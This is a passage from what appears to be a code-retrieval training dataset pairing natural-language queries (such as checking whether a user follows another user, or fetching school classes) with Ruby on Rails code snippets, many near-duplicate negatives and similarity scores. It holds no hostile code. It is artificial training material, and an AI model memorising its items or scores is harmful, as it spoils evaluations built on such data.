e.message\n logger.error e.backtrace\n @company_id = params[:company_id]\n @employees = User.cb_all_by_company_id(@company_id)\n render :action => \"new\"\n end\n else\n @company_id = params[:company_id]\n @employees = User.cb_all_by_company_id(@company_id)\n render :action => \"new\"\n end\n end", "def create\n \tif user_signed_in? then\n\t\t\t@project = Project.new(params[:project])\n authorize @project\n\t\t\tif @project.dmptemplate.nil? && params[:project][:funder_id] != \"\" then # this shouldn't be necessary - see setter for funder_id in project.rb\n\t\t\t\tfunder = Organisation.find(params[:project][:funder_id])\n\t\t\t\tif funder.dmptemplates.count == 1 then\n\t\t\t\t\t@project.dmptemplate = funder.published_templates.first\n\t\t\t\tend\n\t\t\telsif @project.dmptemplate.nil? || params[:default_tag] == 'true' then\n\t\t\t\tif @project.organisation.nil? || params[:default_tag] == 'true' || @project.organisation.published_templates.first.nil? then\n\t\t\t\t\t@project.dmptemplate = Dmptemplate.find_by_is_default(true)\n\t\t\t\telse\n\t\t\t\t\t@project.dmptemplate = @project.organisation.published_templates.first\n\t\t\t\tend\n\t\t\tend\n\t\t\t@project.principal_investigator = current_user.name(false)\n\n\t\t\t@project.title = I18n.t('helpers.project.my_project_name')+' ('+@project.dmptemplate.title+')'\n\t\t\t@project.assign_creator(current_user.id)\n\t\t\trespond_to do |format|\n\t\t\t\tif @project.save\n\t\t\t\t\tformat.html { redirect_to({:action => \"show\", :id => @project.slug, :show_form => \"yes\"}, {:notice => I18n.t('helpers.project.success')}) }\n\t\t\t\telse\n\t\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\trender(:file => File.join(Rails.root, 'public/403.html'), :status => 403, :layout => false)\n\t\tend\n\tend", "def call\n @user.projects.find_or_create_by(name: \"Services\")\n end", "def portfolio_params\n params.require(:portfolio).permit(:investor)\n end", "def add_industry\n\t\tif params[:ok] # OK\n industry = Industry.find_by_name params[:industry][:name]\n industry.profiles.each do |profile|\n p = Portfolio.new\n p.profile = profile\n User.find(session[:user_id]).portfolios << p\n end\n \n # Reset status and delete all Pm/investors since quotes are clear. \n reset_without_agent_reserved\n \n flash[:notice] = \"#{industry.name} industry was successfully added to your portfolio.\"\n redirect_to :action => 'list'\n\t\telse # Cancel\n\t\t\tredirect_to :action => 'list'\n\t\tend\n end" ]
[ "0.7819454", "0.7574676", "0.75654054", "0.731147", "0.7281913", "0.72338015", "0.7152069", "0.70759106", "0.7046227", "0.698251", "0.6973377", "0.6947983", "0.6867119", "0.6826884", "0.6746863", "0.6725744", "0.67071706", "0.6686586", "0.6653073", "0.6649722", "0.66370326", "0.6500051", "0.6478813", "0.64668816", "0.64185727", "0.640209", "0.6383539", "0.63724124", "0.63382465", "0.6328025", "0.6324576", "0.62803775", "0.61871696", "0.6175436", "0.6158007", "0.61100334", "0.6103071", "0.6089483", "0.6084219", "0.60813946", "0.60687447", "0.6051321", "0.6043852", "0.6005892", "0.60056776", "0.5997549", "0.59974813", "0.59895974", "0.5988879", "0.5988879", "0.5988879", "0.5988879", "0.5988879", "0.59834224", "0.59697235", "0.5968672", "0.5956677", "0.5955959", "0.5928692", "0.59221", "0.59214675", "0.591422", "0.59003156", "0.5856961", "0.5853349", "0.5839301", "0.5831086", "0.5823661", "0.58189964", "0.5808859", "0.5798382", "0.57912606", "0.578819", "0.57749444", "0.57698154", "0.5769251", "0.57659686", "0.5764103", "0.5764103", "0.57634044", "0.5758013", "0.57530516", "0.5751184", "0.5749268", "0.57467985", "0.5745877", "0.5736675", "0.5733881", "0.5730477", "0.57278323", "0.571727", "0.5711839", "0.57046646", "0.57022685", "0.5702054", "0.5697793", "0.5696331", "0.567847", "0.5676152", "0.5669476" ]
0.78604203
0
Returns true if the current user is following the other user
def following?(other_user) following.include?(other_user) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n\t following.include?(other_user)\n \tend", "def following?(other_user)\n\t following.include?(other_user)\n\tend", "def following?(other_user)\n current_user.following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following?(other_user)\n following.include?(other_user)\n end", "def following_user?(other_user)\n following.include?(other_user)\n end", "def following? other_user\n following.include?(other_user)\n end", "def following?(other_user)\n\t\t\tfollowing.include?(other_user)\n\t\tend", "def following?( other_user )\n followings.include?( other_user )\n end", "def following_user?(other_user)\n following_users.include?(other_user)\n end" ]
[ "0.8636335", "0.8587318", "0.8587318", "0.8587318", "0.85868174", "0.85868174", "0.85868174", "0.85868174", "0.84926015", "0.8484561", "0.84795225", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.84779507", "0.8469721", "0.8467792", "0.8467491", "0.8446917", "0.8423305" ]
0.0
-1
append a new Score (or Markup)
def <<(score) @content << score if score.is_a? Score @scores << score sid = score.headers['id'] if sid if @scores_by_id.has_key? sid raise ArgumentError.new("More than one score with id '#{sid}'.") end @scores_by_id[sid] = score end end self end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def append_score_to_output(score, adj_start_to_current_start=false)\n score.notes.each do |note| \n dup_note = set_added_note_attrs note\n if adj_start_to_current_start\n dup_note.start(dup_note.start + @current_start) \n end\n @out_notes << dup_note\n end\n if not score.nil? && score.length > 0\n last_note = score.notes.last\n @current_start += (last_note.start + last_note.duration)\n end\n self\n end", "def add_score(score_name, score)\n # Append player name and id to each note for debugging\n dup_score = set_added_score_note_attrs score\n @scores[score_name] = dup_score\n @scores_ordered_names << score_name\n # If there were no scores, set index to new first score\n @scores_idx = 0 if @scores_idx == -1\n self\n end", "def addScore _score=0\n SQF.addScore @this, _score\n end", "def add_point\n @score += 1\n end", "def add_highscore(name, score)\n return if score <= 0\n\n insert_index = score_list_insert_index(score)\n\n return if insert_index >= 10\n\n @score_list = @score_list\n .insert(\n insert_index,\n # Return this this sort of hash because JSON.parse will\n # return something like this too (for consistency)\n {\n 'name' => name,\n 'score' => score\n }\n )\n .slice(0, 10)\n\n save_score_list\n end", "def addScore _obj, _args\n \"_obj addScore _args;\" \n end", "def add_score(name,score)\n @scores[name] = score \n end", "def add_score(ropl, entry)\n manifest = current_manifest ropl\n manifest.add_score ropl, entry\n manifest_id = manifest.save ropl\n add_manifest manifest_id\n end", "def drawScore(s)\n attron(color_pair(6))\n setpos(12,0)\n addstr(\"Score: #{s}\")\n setpos(0,0)\nend", "def add_scores(results, solr_data)\n with_score = []\n solr_data.docs.each do |doc|\n with_score.push([doc[\"score\"], \n results.find {|record| record_id(record).to_s == doc[\"#{solr_configuration[:primary_key_field]}\"].to_s }])\n end\n with_score.each do |score,object| \n class <<object; attr_accessor :solr_score; end\n object.solr_score = score\n end\n end", "def update_score!(points)\n increment!(:score, points)\n end", "def addScoreInFrame(value)\n\t\tif @frameScores.length < @lastFrameNumber\n\t\t\t@totalScore += value\n\t\t\t@frameScores.push(@totalScore)\n\t\tend\n\tend", "def append(text); end", "def AddPoints(score)\n\tscore = score + 100\nend", "def add_to_score name, score = OTHER_SCORES[name]\n @calls[signature][name] += score * @multiplier\n end", "def add(data)\r\n raise \"No :name value in high score!\" if data[:name].nil?\r\n raise \"No :score value in high score!\" if data[:score].nil?\r\n add_to_list(force_symbol_hash(data))\r\n save_to_file\r\n position_by_score(data[:score])\r\n end", "def add_score()\n\t\tscore = params[:score]\n\t\treader_id = session[:user_id]\n\t\tapp = App.find(params[:id])\n\t\tif reader_id.to_s == app.reader_1.to_s\n\t\t\tapp.score_1 = score\n\t\telsif reader_id.to_s == app.reader_2.to_s\n\t\t\tapp.score_2 = score\n\t\tend\n\t\tif app.save\n\t\t\tredirect_to :back\n\t\telse\n\t\t\tflash[:error] = app.errors.full_messages.last\n\t\t\tredirect_to :back\n\t\tend\n\tend", "def update_total_score\n @total_score += @score\n end", "def add_vote(vote)\n self.score = self.score + vote.value\n self.votes_count = self.votes_count + 1\n end", "def assign_score; end", "def set_score(score_name, score)\n # Start out in invalid position and index for each score until we match\n idx = -1\n @scores_ordered_names.each do |name|\n idx += 1\n break if name == score_name\n end\n if valid_scores_idx? idx\n # For debugging\n dup_score = set_added_score_note_attrs score\n @scores[score_name] = dup_score \n end\n self\n end", "def update_score()\r\n @score += GAME_PRESET[\"score_increment\"]\r\n end", "def add(data)\r\n raise \"No :name value in high score!\" if data[:name].nil?\r\n raise \"No :score value in high score!\" if data[:score].nil?\r\n begin\r\n @res = @resource.post({:high_score => data})\r\n data = Crack::XML.parse(@res)\r\n add_to_list(force_symbol_hash(data[\"high_score\"]))\r\n rescue RestClient::RequestFailed\r\n puts \"RequestFailed: couldn't add high score\"\r\n rescue RestClient::ResourceNotFound\r\n return -1\r\n rescue RestClient::Unauthorized\r\n puts \"Unauthorized to add high score (check :login and :password arguments)\"\r\n end\r\n return data[\"high_score\"][\"position\"]\r\n end", "def add_score_with_timestamp(feed_score, last_activity_timestamp)\n if (@feed_score_for_user == nil)\n @feed_score_for_user.value = feed_score\n else\n @feed_score_for_user.value = feed_score + @feed_score_for_user.value.to_i\n end\n @feed_score[@user_id_key] = @feed_score_for_user.value\n @last_activity_time[@user_id_key] = last_activity_timestamp.to_i\n @last_activity_time_as_ymd[@user_id_key] = (last_activity_timestamp.to_date - Date.new(2013,1,1)).to_i\n end", "def rescore(delta)\n self.score += delta\n self.save!\n end", "def score\n \"#{score1}-#{score2}\"\n end", "def increment_scores_index\n @scores_idx +=1 if valid_scores_idx?(@scores_idx + 1)\n self\n end", "def score_list_insert_index(score)\n @score_list.each_with_index do |item, index|\n return index if score > item['score']\n end\n\n @score_list.count\n end", "def add(id)\n redis.zadd(REDIS_KEY, new_score, id)\n end", "def append(new_data)\n end", "def draw_score\n center_x = self.width / 2\n offset = 15\n char_width = 10\n z_order = 100\n @font.draw score[0].to_s, center_x - offset - char_width, offset, z_order\n @font.draw score[1].to_s, center_x + offset, offset, z_order\n end", "def insert(node_score, node_title)\n new_node = Node.new(node_score, node_title)\n if self.root.nil?\n self.root = new_node\n return 0\n else\n recursive_insert(self.root, new_node, 0)\n end\n end", "def addScoreSide _obj, _args\n \"_obj addScoreSide _args;\" \n end", "def render_score; end", "def create_scores\r\n\r\n end", "def add_score\n transaction do\n self.player.points = self.player.points + 1\n if self.player.save\n self.player.team.score = self.player.team.score + 1\n self.player.team.save\n end\n self.player.inc_score_stats\n end\n end", "def insert(score, title)\n @total_nodes +=1 \n if @root_node.nil?\n @root_node = Node.new(score, title)\n else\n @root_node.insert(score, title)\n end\n depth_of(score) \nend", "def update_score\n self.score = posts.inject(0) { |score, post| score += post.rating }\n save\n end", "def score\n [base_score] + kickers\n end", "def save_score\n if current_score > 0\n score = Score.new\n score.score = current_score\n score.category = current_category\n score.user = current_user\n\n score.save\n end\n end", "def add_scores(results, solr_data)\n results = results.dup\n solr_data.docs.each do |doc|\n item = results.detect { |i| i.id == doc[\"#{solr_configuration[:primary_key_field]}\"] }\n next unless item\n item.solr_score = doc['score']\n results.delete( item )\n end\n end", "def append text\n raise \"append: deprecated pls use << or push as per Array semantics\"\n @list ||= []\n @list.push text\n fire_dimension_changed :append\n self\n end", "def rescore!(score) self.score=score; save! end", "def append(appended_text = '')\n @text << ' ' << appended_text\n end", "def append(value)\n table.previsous = value\n @digits << value\n value\n end", "def gain_points\n @score += 1\n end", "def append(row,text)\n\t\t@text[row] = @text[row].dup\n\t\t@text[row] += text\n\tend", "def formulate_score()\n @player_score = @player_score.sort!().reverse!().join().to_i()\n p \"#{@players[0].get_name}'s score is #{@player_score}\"\n check_score()\n end", "def <<(to_append); end", "def test_score_a_one_tile_word\n\t\t@word.append :X\n\t\tassert_equal 8, @word.score\n\tend", "def update_score(accumulated_score)\n @net_score += accumulated_score\n puts \"Total turn score: #{accumulated_score}, net score: #{@net_score}\"\n @net_score\n end", "def get_the_score(score)\n score = score.dup\n score.delete(\"o\")\n @hits = score.length\n end", "def get_the_score(score)\n score = score.dup\n score.delete(\"o\")\n @hits = score.length\n end", "def add sequence, result\n @sentences << [sequence, result]\n end", "def calculate_score\n new_score = self.retweet_count * 10 + self.favorite_count * 10\n new_score += 10 if self.with_image\n self.score = new_score\n self.save if self.changed?\n return self\n end", "def gain_point\n @score += 1\n end", "def incement_score\r\n\t\t \t @score += 2000\r\n\t\t end", "def append(value)\n end", "def add_score(level, name, score, mode)\n begin\n data = LEVELS[level].post high_score: { name: name, score: score, text: mode }\n HighScore.new(data)\n\n rescue RestClient::ResourceNotFound, JSON::ParserError, Errno::ETIMEDOUT, RestClient::RequestTimeout\n raise OnlineHighScores::NetworkError\n\n rescue RestClient::Forbidden # Score wouldn't get on the table, so was refused.\n nil\n\n ensure\n @cached_scores.delete level # Force reloading of the whole level scores.\n end\n end", "def player_score(score)\n @grand_total += (score)\n end", "def add_to_leaderboard(score)\n count = 0\n leaderboard = []\n\n File.foreach(\"leaderboard.txt\") do |line| \n if count < 4\n leaderboard += [line]\n else\n break\n end\n count += 1\n end\n\n leaderboard.each_with_index do |line, idx|\n this_score = line.split(\" \")[1].to_i\n if score > this_score\n print \"You made it to the leaderboard! Enter your initials: \"\n player_handle = gets.chomp\n leaderboard[idx] = \"#{player_handle} #{score}\\n\"\n break\n end\n end\n puts leaderboard.join\n File.write(\"leaderboard.txt\", leaderboard.join)\n end", "def add_points(points)\n @correct_answers += 1\n @points += points\n end", "def formulate_score()\n @player_score = @player_score.sort!().reverse!().join().to_i()\n p \"#{@players_joined[0]}'s score is #{@player_score}\"\n check_score()\n end", "def train_adequacy_plus(score)\n @train = Train.where(user_id: current_user.id, tweet_id: @tweet.id, reply_id: @reply.id).first_or_initialize\n @train.free_u2b_count += 1\n @train.adequacy_flag = [@train.adequacy_flag + score, 10].min\n @train.save\n end", "def insert(score, movie)\n current = Node.new(score, movie)\n if head == nil\n @head = current\n @head.depth\n else\n insert_node(@head, current)\n end\n end", "def put(score, value)\n connection.zadd(key_label, score, value)\n end", "def append(data)\r\n return Knj::Gtk2::Tv.append(self, data)\r\n end", "def return_score(score)\n return \"#{score}\" \n end", "def score=(value)\n @score = value\n end", "def give_score(uid, name, score)\n unless @scores.key? uid\n self.init_user_score(uid, 'name')\n end\n\n @scores[uid]['score'] += score\n\n unless @scores[uid]['name'] == name\n self.update_user_name uid, name\n end\n end", "def append(key, value, score)\n # attempt the transaction, retrying a limited number of\n # times if the WATCH makes us bail.\n retry_counter = 0\n while retry_counter < @retry_limit\n # Have to put the watch inside the retry loop because\n # calling EXEC clears all watches.\n # TODO: maybe we want to have Composite#watch(@index) ??\n watch(@index)\n\n # get highest score from the Sorted Set and increment the\n # input score if necessary.\n _value, high_score = @index.last(:with_scores => true)\n if high_score\n if score <= high_score.to_i\n score = high_score.to_i + 1\n end\n end\n\n if set(key, value, score)\n return score\n else\n retry_counter += 1\n end\n end\n\n raise \"Optimistic locking failed too many times\"\n end", "def render_score=(_arg0); end", "def new #add_score_item\n # find most recent score_item by :id\n # create html for new row, populate it with values from score_item.\n # Survey and question must be populated with values of next unused score.surveys\n params[:score_item] = params[:score_score_item]\n @score_item = ScoreItem.new(params[:score_item])\n \n @score = Score.find(params[:id], :include => :survey)\n @score_item2 = @score.score_items.last\n\n if !@score.survey.nil?\n # set values from previous score item\n @score_item = ScoreItem.new\n unless @score_item2.nil?\n @score_item.items = @score_item2.items\n @score_item.range = @score_item2.range\n @score_item.qualifier = @score_item2.qualifier\n @score_item.question = @score_item2.question\n end\n\n # set default question to one with most items\n @score_item.question_id = @score.survey.question_with_most_items.id\n\n # all surveys and questions for chosen survey\n @survey = [@score.survey.get_title, @score.survey.id] #(true).map { |s| [s.title, s.id] } # next_survey should be selected\n @items = @score.survey.questions.map { |q| [\"Spg. #{q.number} (#{q.count_items} items)\", q.id] } # was q.number\n # table_header = %w(Skema Spørgsmål Range Kvalifikator Items).map { |h| \"<th>#{h}</th>\" }.join\n end\n\n # show score item form in page\n render :partial => 'new_score_item', :layout => false\n # render :update do |page|\n # if @score.survey.nil?\n # page.alert \"Tilføj først et skema\"\n # else\n # page.show 'score_items'\n # page.hide 'new_score_item_button'\n # page.insert_html :bottom, 'score_items', :partial => 'new_score_item'\n # page.visual_effect :blind_down, 'add_new_score_item', :duration => 2\n # end\n # end\n end", "def add(text)\n @text << text\n end", "def add_archetype_score\n if job_function.present?\n self.archetype_low = job_function.low\n self.archetype_high = job_function.high\n end\n end", "def add_many_score(count, pins)\n count.times do\n @game.add_score(pins)\n end\nend", "def insert(name, score, current = @root, depth = 0)\n if root == nil\n @root = Node.new(name, score)\n depth\n else\n insert_helper(name, score, current, depth)\n end\n end", "def add_card(aCard)\n @cards << aCard\n @cards.sort!() {|card1, card2| card1.rank <=> card2.rank}\n @rank_histogram[aCard.rank] += 1\n @suit_histogram[aCard.suit] += 1\n @evaluation = nil\n @score = 0\nend", "def score\n end", "def add_to_score_hash(markable, score)\n scores_hash[assessment_group.id][markable.id][student.id] = score\n end", "def insert_player(player, score)\n File.open(@file_name, 'a+') do |f|\n f.puts player + ',' + score\n end\n end", "def gain_a_point\n\n self.score += 1\n\n end", "def updateScore(score, result)\n\tif result == \"Player 1 wins this round!\"\n\t\tscore[0] += 1\n\telsif result == \"Player 2 wins this round!\"\n\t\tscore[1] += 1\n\telsif result == \"Tie!\"\n\t\tscore[2] += 1\n\tend\n\treturn score\nend", "def append! x\n\t\t\tcurrent << x\n\t\t\tx\n\t\tend", "def append(cue)\n cue.serialize(@fps)\n @list << cue\n end", "def combine(row)\n self.scores = row.map { |cell| cell.score }\n return [self]\n end", "def addStars(num)\n self.stars += num\n end", "def score; end", "def inc_rater_score(add)\n if add || false\n fu = self._call_for_rater\n fu.score += add \n end\n #puts \"add: #{add}\"\n add\n end", "def set_score\n if $Iterator >= 0 && $Iterator < $Length\n @questions = @subgenre.questions.all\n @question = @questions[$Iterator]\n @options = @question.options.all\n @useranswers = params[:answer_ids]\n flag = 0\n if !@useranswers\n flag = 1\n else\n for option in @options\n if @useranswers.include? (option.id).to_s && option.isanswer == 0\n flag = 1\n break\n elsif option.isanswer == 1 && !(@useranswers.include? (option.id).to_s)\n flag = 1\n break\n end\n end\n end\n if flag == 0\n @stat = Stat.find_by(subgenre_id: @subgenre.id, user_id: session['user_id'])\n x = @stat.score\n y = @question.score\n @stat.update_attributes(score: x+y)\n end\n end\n end", "def insert(score, title)\n depth = 0\n if @tree_root.nil?\n @tree_root = Node.new(score, title)\n return depth\n else\n insert_node(score, title, @tree_root)\n end\n end", "def display_score score, rank\r\n\r\n end", "def updateScore(score, result)\n\tif result == \"P1 wins!\"\n\t\tscore[\"Player 1\"] += 1\n\telsif result == \"P2 wins!\"\n\t\tscore[\"Player 2\"] += 1\n\tend\n\tputs result\n\tputs \"Current score:\\n Player 1: \" + score[\"Player 1\"].to_s + \" Player 2: \" + score[\"Player 2\"].to_s + \"\\n\\n\"\n\treturn score\nend", "def accumulate_summary_totals( score )\n @summary_totals[score] ||= 0\n @summary_totals[score] += 1\n end", "def game_score(score)\n end", "def score=(_); end", "def score=(new_score)\n @score = new_score && new_score != '.' ? new_score.to_f : nil\n end", "def add_ld_score(snp_combination)\n if !@ld_scores.has_key?(snp_combination.snp1)\n @ld_scores[snp_combination.snp1] = Hash.new\n @included_snps_hash[snp_combination.snp1] = true\n @included_snps_hash[snp_combination.snp2] = true\n end\n @ld_scores[snp_combination.snp2]=Hash.new unless @ld_scores.has_key?(snp_combination.snp2)\n #@ld_scores[snp_combination.snp1] << snp_combination\n @ld_scores[snp_combination.snp1][snp_combination.snp2]=snp_combination\n @ld_scores[snp_combination.snp2][snp_combination.snp1]=snp_combination\n end", "def new\n @score = Score.new\n end", "def append!\n self.operation = :append\n end" ]
[ "0.695755", "0.6863422", "0.68363094", "0.6421934", "0.6349373", "0.6249684", "0.61867344", "0.6133096", "0.58973604", "0.5862484", "0.58181137", "0.5793141", "0.5785152", "0.5764463", "0.57620573", "0.5732018", "0.5729956", "0.572953", "0.57293624", "0.5473634", "0.54728436", "0.5465335", "0.545988", "0.5449349", "0.54448843", "0.54401875", "0.5437747", "0.54245025", "0.54157627", "0.5409509", "0.5405493", "0.5401546", "0.5393325", "0.5391669", "0.53665555", "0.53554", "0.5342149", "0.53388506", "0.53330374", "0.5325627", "0.53185236", "0.531741", "0.52933717", "0.52875805", "0.528724", "0.52795625", "0.52735054", "0.52654415", "0.5259443", "0.5242717", "0.52355427", "0.52345", "0.52345", "0.521984", "0.52018225", "0.51989794", "0.51939464", "0.51929295", "0.51914585", "0.51876384", "0.5184747", "0.51833", "0.5179231", "0.5178367", "0.51749", "0.5168194", "0.51635027", "0.5133168", "0.51112837", "0.5107712", "0.51062703", "0.5106062", "0.5103617", "0.50996184", "0.5099337", "0.50982964", "0.509414", "0.50938874", "0.5091802", "0.5088102", "0.5087328", "0.50845736", "0.50827366", "0.5078106", "0.5073816", "0.507347", "0.50690293", "0.50663465", "0.5061419", "0.50603133", "0.5052818", "0.5038571", "0.502804", "0.50277007", "0.5020622", "0.5019747", "0.50146276", "0.50116026", "0.5004339", "0.49811885" ]
0.6818752
3
GET /schoolclasses/1 GET /schoolclasses/1.json
def show @schoolclass = Schoolclass.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @schoolclass } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @school_class = SchoolClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @school_class }\n end\n end", "def index\n @my_school = MySchool.find(params[:my_school_id])\n @school_classes = @my_school.school_classes\n end", "def index\n @school_classes = SchoolClass.where('school_id = ?', current_user.user_info.school_id).order(\"name\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @school_classes }\n end\n end", "def show\n @classtable = Classtable.find(params[:id])\n #@classtable = Classtable.find(:all, :conditions => { :school_id => @classtable1.id })\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @classtable }\n end\n end", "def show\n @school_class = SchoolClass.find(params[:id]) \n end", "def new\n @schoolclass = Schoolclass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @schoolclass }\n end\n end", "def new\n @school_class = SchoolClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @school_class }\n end\n end", "def new\n @school_class = SchoolClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @school_class }\n end\n end", "def show\n @school = School.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @school }\n end\n end", "def set_school_class\n @school_class = SchoolClass.find(params[:id])\n end", "def set_school_class\n @school_class = SchoolClass.find(params[:id])\n end", "def create\n @school_class = SchoolClass.new(school_class_params)\n\n respond_to do |format|\n if @school_class.save\n format.html { redirect_to school_classes_path, notice: 'School class was successfully created.' }\n format.json { render :show, status: :created, location: @school_class }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @school_class = SchoolClass.find(params[:id])\n @school_class.destroy\n\n respond_to do |format|\n format.html { redirect_to school_classes_url }\n format.json { head :no_content }\n end\n end", "def create\n @schoolclass = Schoolclass.new(params[:schoolclass])\n\n respond_to do |format|\n if @schoolclass.save\n format.html { redirect_to @schoolclass, notice: 'Schoolclass was successfully created.' }\n format.json { render json: @schoolclass, status: :created, location: @schoolclass }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schoolclass.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @school_setup = SchoolSetup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @school_setup }\n end\n end", "def school\n School.find(params[:id])\n end", "def school_students(query={})\n self.simple_client.get(\"/api/v1/schools/my/students?#{query.to_query}\")\n end", "def destroy\n @schoolclass = Schoolclass.find(params[:id])\n @schoolclass.destroy\n\n respond_to do |format|\n format.html { redirect_to schoolclasses_url }\n format.json { head :no_content }\n end\n end", "def get_school\n @school = School.find_by_id(params[:school_id])\n end", "def show\n @class_group_enrollment = ClassGroupEnrollment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @class_group_enrollment }\n end\n end", "def show\n @inschool = Inschool.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inschool }\n end\n end", "def index\n @user = User.find(session[:user_id])\n @schools = @user.schools\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @schools }\n end\n end", "def show\n @undergraduate_major = UndergraduateMajor.find(params[:id])\n\n 